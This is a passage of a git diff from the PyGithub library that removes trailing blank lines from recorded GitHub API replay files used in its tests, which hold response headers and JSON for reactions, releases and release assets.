1.4","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z","closed_at":"2012-08-04T06:11:43Z"},"comments":1,"created_at":"2012-05-19T10:38:23Z","updated_at":"2014-03-02T18:55:11Z","closed_at":"2012-05-26T14:59:33Z","author_association":"OWNER","body":"Body edited by PyGithub\n","closed_by":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}} - diff --git a/tests/ReplayData/Reaction.testAttributes.txt b/tests/ReplayData/Reaction.testAttributes.txt index 89c6761eca..1ac53862fc 100644 --- a/tests/ReplayData/Reaction.testAttributes.txt +++ b/tests/ReplayData/Reaction.testAttributes.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '997'), ('x-runtime-rack', '0.067589'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC91:0DD1:92019:143EEC:5A260380'), ('date', 'Tue, 05 Dec 2017 02:25:05 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] [{"id":16916340,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-05T01:59:33Z"}] - diff --git a/tests/ReplayData/Reaction.testDelete.txt b/tests/ReplayData/Reaction.testDelete.txt index a0b5c49c06..f943814d7e 100644 --- a/tests/ReplayData/Reaction.testDelete.txt +++ b/tests/ReplayData/Reaction.testDelete.txt @@ -18,5 +18,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F51E:1F46:1145B3:27C7E7:5A31E3B8'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.058497'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 14 Dec 2017 02:36:41 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'repo, user'), ('content-type', 'application/octet-stream'), ('x-accepted-oauth-scopes', ''), ('x-ratelimit-reset', '1513221661')] - - diff --git a/tests/ReplayData/ReleaseAsset.setUp.txt b/tests/ReplayData/ReleaseAsset.setUp.txt index 4e5df1305b..05024b7f4d 100644 --- a/tests/ReplayData/ReleaseAsset.setUp.txt +++ b/tests/ReplayData/ReleaseAsset.setUp.txt @@ -41,4 +41,3 @@ None 200 [('content-length', '13980'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] [{"url":"https://api.github.com/api/v3/repos/edhollandAL/PyGithub/releases/assets/16","id":16,"name":"Archive.zip","label":"Installation msi & runbook zipped","uploader":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false,"ldap_dn":"CN=edhollandAL,OU=Test OU,DC=pygithub,DC=com"},"content_type":"application/zip","state":"uploaded","size":3783,"download_count":2,"created_at":"2017-02-01T22:40:58Z","updated_at":"2017-02-01T22:44:58Z","browser_download_url":"https://github.com/edhollandAL/PyGithub/releases/download/v1.25.2/Asset.zip"}] - diff --git a/tests/ReplayData/ReleaseAsset.testDelete.txt b/tests/ReplayData/ReleaseAsset.testDelete.txt index a89bc7028e..544610e51e 100644 --- a/tests/ReplayData/ReleaseAsset.testDelete.txt +++ b/tests/ReplayData/ReleaseAsset.testDelete.txt @@ -7,4 +7,3 @@ None None 204 [('content-length', '0'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] - diff --git a/tests/ReplayData/ReleaseAsset.testUpdate.txt b/tests/ReplayData/ReleaseAsset.testUpdate.txt index f87ab766b6..442e29b744 100644 --- a/tests/ReplayData/ReleaseAsset.testUpdate.txt +++ b/tests/ReplayData/ReleaseAsset.testUpdate.txt @@ -8,5 +8,3 @@ None 200 [('content-length', '0'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] {"uploader": {"ldap_dn": "CN=edhollandAL,OU=Test Ou OU,OU=KU Online,DC=pygithub,DC=com", "following_url": "https://github.com/api/v3/users/edhollandAL/following{/other_user}", "events_url": "https://github.com/api/v3/users/edhollandAL/events{/privacy}", "organizations_url": "https://github.com/api/v3/users/edhollandAL/orgs", "url": "https://github.com/api/v3/users/edhollandAL", "gists_url": "https://github.com/api/v3/users/edhollandAL/gists{/gist_id}", "html_url": "https://github.com/edhollandAL", "subscriptions_url": "https://github.com/api/v3/users/edhollandAL/subscriptions", "avatar_url": "https://github.com/avatars/u/83?", "repos_url": "https://github.com/api/v3/users/edhollandAL/repos", "received_events_url": "https://github.com/api/v3/users/edhollandAL/received_events", "gravatar_id": "", "starred_url": "https://github.com/api/v3/users/edhollandAL/starred{/owner}{/repo}", "site_admin": false, "login": "PeLopez", "type": "User", "id": 83, "followers_url": "https://github.com/api/v3/users/PeLopez/followers"}, "url": "https://github.com/edhollandAL/PyGithub/releases/assets/16", "created_at": "2017-02-07T20:49:41Z", "updated_at": "2017-02-07T20:49:54Z", "label": "Updated label", "browser_download_url": "https://github.com/edhollandAL/PyGithub/releases/download/v1.25.2/updated-name.zip", "state": "uploaded", "content_type": "application/zip", "download_count": 0, "size": 3783, "id": 73, "name": "updated-name.zip"} - - diff --git a/tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt b/tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt index 48cb265369..61dcc37738 100644 --- a/tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt +++ b/tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt @@ -73,5 +73,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:57 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4881'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E4FE:0FDF:BFD2FB:14133BD:5F0D542D')] - - diff --git a/tests/ReplayData/ReleaseModify.testDelete.txt b/tests/ReplayData/ReleaseModify.testDelete.txt index c8fb03ecad..68e52ce085 100644 --- a/tests/ReplayData/ReleaseModify.testDelete.txt +++ b/tests/ReplayData/ReleaseModify.testDelete.txt @@ -74,4 +74,3 @@ None 404 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4874'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E540:53F9:9C3DCB:10EB62E:5F0D5430')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/releases/#get-a-single-release"} - diff --git a/tests/ReplayData/ReleaseModify.testUpdate.txt b/tests/ReplayData/ReleaseModify.testUpdate.txt index f2333f482e..5552436670 100644 --- a/tests/ReplayData/ReleaseModify.testUpdate.txt +++ b/tests/ReplayData/ReleaseModify.testUpdate.txt @@ -95,5 +95,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:06 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4865'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E5AC:27D8:B4856A:12BDDB4:5F0D5436')] - - diff --git a/tests/ReplayData/ReleaseModify.testUploadAsset.txt b/tests/ReplayData/ReleaseModify.testUploadAsset.txt index b7775c77c8..b5ec57a1ea 100644 --- a/tests/ReplayData/ReleaseModify.testUploadAsset.txt +++ b/tests/ReplayData/ReleaseModify.testUploadAsset.txt @@ -95,5 +95,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:10 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4855'), ('X-RateLimit-Reset', '1594712356'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E5FC:6688:668614:EE1210:5F0D543A')] - - diff --git a/tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt b/tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt index bb8c63b691..051570cabc 100644 --- a/tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt +++ b/tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt @@ -95,5 +95,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:15 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4845'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E64E:0FDF:BFDC78:14143AE:5F0D543E')] - - diff --git a/tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt b/tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt index 0715564bab..cccd0a1b98 100644 --- a/tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt +++ b/tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt @@ -95,5 +95,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:19 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4835'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B6E6:7F2B:3306BE:7733DF:5F0D5443')] - - diff --git a/tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt b/tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt index 0e131e1500..804a4244c0 100644 --- a/tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt +++ b/tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt @@ -84,5 +84,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:23 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B734:1187:A70816:118856C:5F0D5447')] - - diff --git a/tests/ReplayData/ReleaseRead.testAttributes.txt b/tests/ReplayData/ReleaseRead.testAttributes.txt index c223b16a73..75cf000b4d 100644 --- a/tests/ReplayData/ReleaseRead.testAttributes.txt +++ b/tests/ReplayData/ReleaseRead.testAttributes.txt @@ -30,4 +30,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4823'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE76:7DAC:267C29:657BD7:5F0D54BC')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/ReleaseRead.testGetAssets.txt b/tests/ReplayData/ReleaseRead.testGetAssets.txt index ab461db017..e8dec22f80 100644 --- a/tests/ReplayData/ReleaseRead.testGetAssets.txt +++ b/tests/ReplayData/ReleaseRead.testGetAssets.txt @@ -52,4 +52,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4818'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b3f0eb974ec883013950ac7199769f0d"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE9E:6280:A2CAA6:111B601:5F0D54BE')] 